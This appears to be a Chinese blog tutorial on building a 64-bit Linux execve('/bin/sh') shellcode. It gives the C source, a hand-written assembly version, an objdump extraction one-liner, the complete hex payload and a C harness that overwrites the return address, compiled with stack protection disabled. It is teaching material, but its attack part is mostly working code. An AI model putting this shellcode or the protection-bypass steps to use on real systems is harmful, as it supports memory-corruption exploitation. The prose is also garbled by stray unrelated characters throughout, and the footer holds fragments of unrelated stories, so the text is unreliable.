黑客攻防入門(二)shellcode構(gòu)造

1. 概說

shell我們都知道是什么了吧绎橘! 狹義的shellcode 就是一段可以運行shell的代碼!
構(gòu)造一段shellcode的作用就是為了在緩沖區(qū)溢出時將shellcode的地址覆蓋掉正常的返回地址骑脱。
shellcode通常放在緩沖區(qū)內(nèi)菜枷,也可以通過環(huán)境變量存入堆內(nèi),也可以通過動態(tài)內(nèi)存放入堆區(qū)叁丧。
下面我們學(xué)習(xí)一下怎樣構(gòu)造shellcode犁跪。

注意: 我是在Centos 64位的系統(tǒng)下進行測試和構(gòu)建shellcode的椿息,shellcode的高級技巧可以支持不同平臺的移植,但下面構(gòu)建的shellcode并不適合多平臺坷衍。


2. shellcode源代碼

下面是shellcode的c代碼

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
    char *code[2]; 
    code[0] = "/bin/sh"; 
    code[1] = NULL; 
    execve(code[0], code, NULL); 
    return 0;
}

以上代碼編譯運行可以得到一個shell(命令行)寝优。

  1. execve 是 Unix/Linux下exec函數(shù),Linux一般是用fork創(chuàng)建新進程枫耳,用exec來執(zhí)行新的程序
  2. exec有六個函數(shù)乏矾,其中只有execve是系統(tǒng)調(diào)用,其它五個exec函數(shù)最后都要調(diào)用execve迁杨。

3. 反匯編

我們將上面的代碼進行編譯钻心,然后反匯編。

編譯: gcc -o shellcode shellcode.c
反匯編:objdump -d shellcode > shellcode.s

shellcode.s 是我們得到的反匯編代碼铅协, 我們只需要關(guān)注main部分的:

0000000000400530 <main>:
  400530:       55                      push   %rbp
  400531:       48 89 e5                mov    %rsp,%rbp
  400534:       48 83 ec 20             sub    $0x20,%rsp
  400538:       89 7d ec                mov    %edi,-0x14(%rbp)
  40053b:       48 89 75 e0             mov    %rsi,-0x20(%rbp)
  40053f:       48 c7 45 f0 00 06 40    movq   $0x400600,-0x10(%rbp)
  400546:       00 
  400547:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40054e:       00 
  40054f:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400553:       48 8d 4d f0             lea    -0x10(%rbp),%rcx
  400557:       ba 00 00 00 00          mov    $0x0,%edx
  40055c:       48 89 ce                mov    %rcx,%rsi
  40055f:       48 89 c7                mov    %rax,%rdi
  400562:       e8 b9 fe ff ff          callq  400420 <execve@plt>
  400567:       b8 00 00 00 00          mov    $0x0,%eax
  40056c:       c9                      leaveq
  40056d:       c3                      retq
  40056e:       66 90                   xchg   %ax,%ax

參照上面的反匯編代碼捷沸,我們手工用匯編語言重寫上面的shellcode.c,
如下:

.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
movq %rcx, -0x10(%rbp)
movq $0x0,-0x8(%rbp)
mov $0, %edx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"

上面的匯編代碼中:

rax 保存系統(tǒng)調(diào)用號#59狐史,這是execve的調(diào)用號
rdi 保存execve的第一個參數(shù)痒给,是"/bin/sh"的地址
rsi 是指向前面用到的"/bin/sh"的指針開始并以空指針結(jié)尾的指針數(shù)組
rdx 是零,用來做execve的第三個參數(shù)
execve的原型是:int execve(const char *filename, char *const argv[],char *const envp[]);

我們將匯編代碼保存在文件: scode.s 里骏全。


shellcode構(gòu)建技巧

shelloce構(gòu)建唯一需要的技巧是: 巧妙地存放"/bin/sh"字符串和使用苍柏。

其中一個技巧是這樣的:首先以一條【jmp】指令開始,它跳轉(zhuǎn)到一個【call】指令處姜贡,該指令恰好是shelloce的起始處之前试吁。執(zhí)行【call】指令會將返回地址(shellcode起始地址)壓棧,并跳到下一條指令(最初jmp指令之后)楼咳。
如下:
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string

一個【jmp】和一個【call】首尾呼應(yīng)熄捍,是用來得到.string里面內(nèi)容的一個好辦法。

除了JMP/CALL方法外母怜,另一種常見的技術(shù)是使用FNSTENV匯編指令治唤。
fnstenv指令將一個32字節(jié)的浮點單元(FPU)環(huán)境記錄入由操作數(shù)指定的內(nèi)存地址,F(xiàn)PU環(huán)境記錄是一個數(shù)據(jù)結(jié)構(gòu)糙申,它的定義位于/usr/include/sys/user.h文件的user_fpregs_struct中宾添。

/* These are the 32-bit x86 structures.  */
struct user_fpregs_struct
{
  long int cwd;
  long int swd;
  long int twd;
  long int fip;
  long int fcs;
  long int foo;
  long int fos;
  long int st_space [20];
};

利用fip里面包含的調(diào)用的最后一條FPU指令的eip,我們可以成功獲得到當前的地址柜裸。


技巧實踐

想要編寫shellcode缕陕,就要理解目的程序調(diào)用shellcode時的難點,下面是上面的匯編代碼的解釋:

shellcode最麻煩的一點就是要將字符串“/bin/sh"作為參數(shù)傳遞疙挺,shellcode被寫入緩沖區(qū)后扛邑,代碼的位置是不固定的,為了能夠得到"/bin/sh"這個字符串铐然,黑客們利用call指令蔬崩,因為call指令執(zhí)行的第一個動作就是將下一條指令的地址壓棧恶座,而我們把字符串安排在call后,目的就是要把它壓入棧中沥阳。

  1. scode.s入口第一條指令: jmp cl #這是跳到cl標簽處跨琳,亦即 call pp。
  1. call pp #將字符串壓棧桐罕,同時返回到上面pp標簽處
  2. popq %rcx #將字符串"/bin/sh"的地址存入rcx(通用寄存器)脉让,這里可以選擇其它寄存器。
  3. 接下來的三條指令是建立一個新的椆ε冢空間:
    pushq %rbp    
    mov %rsp, %rbp    
    subq $0x20, %rsp
    在真正注入的shellcode代碼里溅潜,可以不用創(chuàng)建這個棧,但這里演示程序在單獨執(zhí)行時薪伏,"/bin/sh"字符串是放在了代碼段里滚澜,是不允許修改的空間,所以要建棧將這個字符串復(fù)制過去嫁怀。
  4. movq %rcx, -0x10(%rbp)   #將字符串復(fù)制到棧
  5. movq $0x0,-0x8(%rbp)   #創(chuàng)建調(diào)用exec時的參數(shù)name[1]设捐,將它置0.
  6. lea -0x10(%rbp), %rsi   #這是execve第二個參數(shù),它需要**類型眶掌,所以用lea傳送地址給rsi挡育。
  7. mov -0x10(%rbp), %rdi   #mov將字符串傳給rdi巴碗,這是execve第一個參數(shù)朴爬。
  8. mov $59, %rax   #這個59是execve的系統(tǒng)調(diào)用號,在/usr/include/asm/unistd_64.h里可以查詢到.
  9. syscall       #系統(tǒng)調(diào)用橡淆, 這個可以取代 int 0x80 .

不用考慮返回退出召噩,代碼基本無問題,下面進行編譯和連接逸爵。

編譯:  as -o scode.o scode.s
連接:  ld -o scode scode.o
用objdump反匯編scode具滴,主要目的是提取二進制機器碼,為了方便顯示师倔,二進制一般表示為十六進制构韵。
這里有一條命令,可以直接輸出到可以用在c語言的shellcode:

for i in $(objdump -d scode | grep "^ " |cut -f2); do echo -n '\x'$i; done;

最后得到的shellcode代碼如下:

\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00
\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b
\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

4. 測試shellcode

下是用c語言寫一個測試shellcode的程序:

#include <stdio.h>

unsigned char code[] = "\xeb\x2b\x59\x55\x48\x89\xe5\x48"   
 "\x83\xec\x20\x48\x89\x4d\xf0\x48" 
"\xc7\x45\xf8\x00\x00\x00\x00\xba" 
"\x00\x00\x00\x00\x48\x8d\x75\xf0"
 "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b" 
"\x00\x00\x00\x0f\x05\xe8\xd0\xff" 
"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 

/* code 就是我們上面構(gòu)造的 shellcode */

void main(int argc, char *argv[])
{ 
    long *ret; 
    ret = (long *)&ret + 2; 
    (*ret) = (long)code;
}
  1. 因為是64位系統(tǒng)趋艘,地址是有64位寬度的疲恢,所以要用long類型
  2. ret 作為main的第一個局部變量,它必定是存儲在main的棿呻剩空間內(nèi)显拳,其中l(wèi)ong * ret 這條指令占據(jù)了一個64位, 當ret地址加1(64位)時搓萧,ret就到到達棧的基址位置(rbp)杂数,我在(一)這文章里分析過宛畦,main函數(shù)的返回地址還在棧基址之上的高地址中揍移,它距離rbp還有64位寬度次和,所以ret需要加上2(2個64位)才能到達main的返回地址的保存位置。
  3. (*ret) = (long)code 羊精, 很明顯就是要用code的地址將main返回地址覆蓋斯够。

另外,由于系統(tǒng)設(shè)置了堆棧運行保護喧锦,gcc編譯時需要使用參數(shù):-fno-stack-protector -z execstack

5. shellcode 之后

shellcode 除了取得shell外读规,還有很多不同的功能,構(gòu)建shellcode還有很多不同的方法燃少,這里只是很基本的方法束亏。

現(xiàn)代系統(tǒng)都有堆棧運行保護,有方法可以繞過這些保護不阵具?

答案是有的碍遍,所謂道高一尺,魔高一丈阳液!

上面的shellcode并不涉及緩沖區(qū)溢出怕敬,亦不適用緩沖區(qū)溢出,原因是什么呢帘皿?

且看下回分解东跪。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市鹰溜,隨后出現(xiàn)的幾起案子虽填,更是在濱河造成了極大的恐慌,老刑警劉巖曹动,帶你破解...
    沈念sama閱讀 221,273評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件斋日,死亡現(xiàn)場離奇詭異,居然都是意外死亡墓陈,警方通過查閱死者的電腦和手機恶守,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,349評論 3 398
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來贡必,“玉大人兔港,你說我怎么就攤上這事∩藜叮” “怎么了押框?”我有些...
    開封第一講書人閱讀 167,709評論 0 360
  • 文/不壞的土叔 我叫張陵,是天一觀的道長理逊。 經(jīng)常有香客問我橡伞,道長盒揉,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,520評論 1 296
  • 正文 為了忘掉前任兑徘,我火速辦了婚禮刚盈,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘挂脑。我一直安慰自己藕漱,他們只是感情好,可當我...
    茶點故事閱讀 68,515評論 6 397
  • 文/花漫 我一把揭開白布崭闲。 她就那樣靜靜地躺著肋联,像睡著了一般。 火紅的嫁衣襯著肌膚如雪刁俭。 梳的紋絲不亂的頭發(fā)上橄仍,一...
    開封第一講書人閱讀 52,158評論 1 308
  • 那天,我揣著相機與錄音牍戚,去河邊找鬼侮繁。 笑死,一個胖子當著我的面吹牛如孝,可吹牛的內(nèi)容都是我干的宪哩。 我是一名探鬼主播,決...
    沈念sama閱讀 40,755評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼第晰,長吁一口氣:“原來是場噩夢啊……” “哼锁孟!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起但荤,我...
    開封第一講書人閱讀 39,660評論 0 276
  • 序言:老撾萬榮一對情侶失蹤罗岖,失蹤者是張志新(化名)和其女友劉穎涧至,沒想到半個月后腹躁,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 46,203評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡南蓬,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,287評論 3 340
  • 正文 我和宋清朗相戀三年纺非,在試婚紗的時候發(fā)現(xiàn)自己被綠了。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片赘方。...
    茶點故事閱讀 40,427評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡烧颖,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出窄陡,到底是詐尸還是另有隱情炕淮,我是刑警寧澤,帶...
    沈念sama閱讀 36,122評論 5 349
  • 正文 年R本政府宣布跳夭,位于F島的核電站涂圆,受9級特大地震影響们镜,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜润歉,卻給世界環(huán)境...
    茶點故事閱讀 41,801評論 3 333
  • 文/蒙蒙 一模狭、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧踩衩,春花似錦嚼鹉、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,272評論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至褐鸥,卻和暖如春宴树,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背晶疼。 一陣腳步聲響...
    開封第一講書人閱讀 33,393評論 1 272
  • 我被黑心中介騙來泰國打工酒贬, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人翠霍。 一個月前我還...
    沈念sama閱讀 48,808評論 3 376
  • 正文 我出身青樓锭吨,卻偏偏與公主長得像,于是被迫代替她去往敵國和親寒匙。 傳聞我的和親對象是個殘疾皇子零如,可洞房花燭夜當晚...
    茶點故事閱讀 45,440評論 2 359

推薦閱讀更多精彩內(nèi)容

  • 8086匯編 本筆記是筆者觀看小甲魚老師(魚C論壇)《零基礎(chǔ)入門學(xué)習(xí)匯編語言》系列視頻的筆記塞帐,在此感謝他和像他一樣...
    Gibbs基閱讀 37,237評論 8 114
  • 0. 引言 如果你學(xué)的第一門程序語言是C語言,那么下面這段程序很可能是你寫出來的第一個有完整的 “輸入---處理-...
    pandolia閱讀 14,082評論 13 27
  • 緩沖區(qū)溢出(Buffer Overflow)是計算機安全領(lǐng)域內(nèi)既經(jīng)典而又古老的話題巍沙。隨著計算機系統(tǒng)安全性的加強葵姥,傳...
    Chivalrous閱讀 1,332評論 0 5
  • 越底層越單純!真正的程序員都需要了解的一門非常重要的語言,匯編! 機器語言 我們所寫的語言最終安裝在機器上的是什么...
    瑞陽gg閱讀 593評論 0 0
  • 遣懷 又是一年高考季。在車上聽到別人談?wù)撛囶}啊木湫考啊榔幸,心里暗暗計較,根本沒什么好擔心的嘛,可是我們削咆,不過就是經(jīng)歷過...
    李葉晨666閱讀 355評論 0 0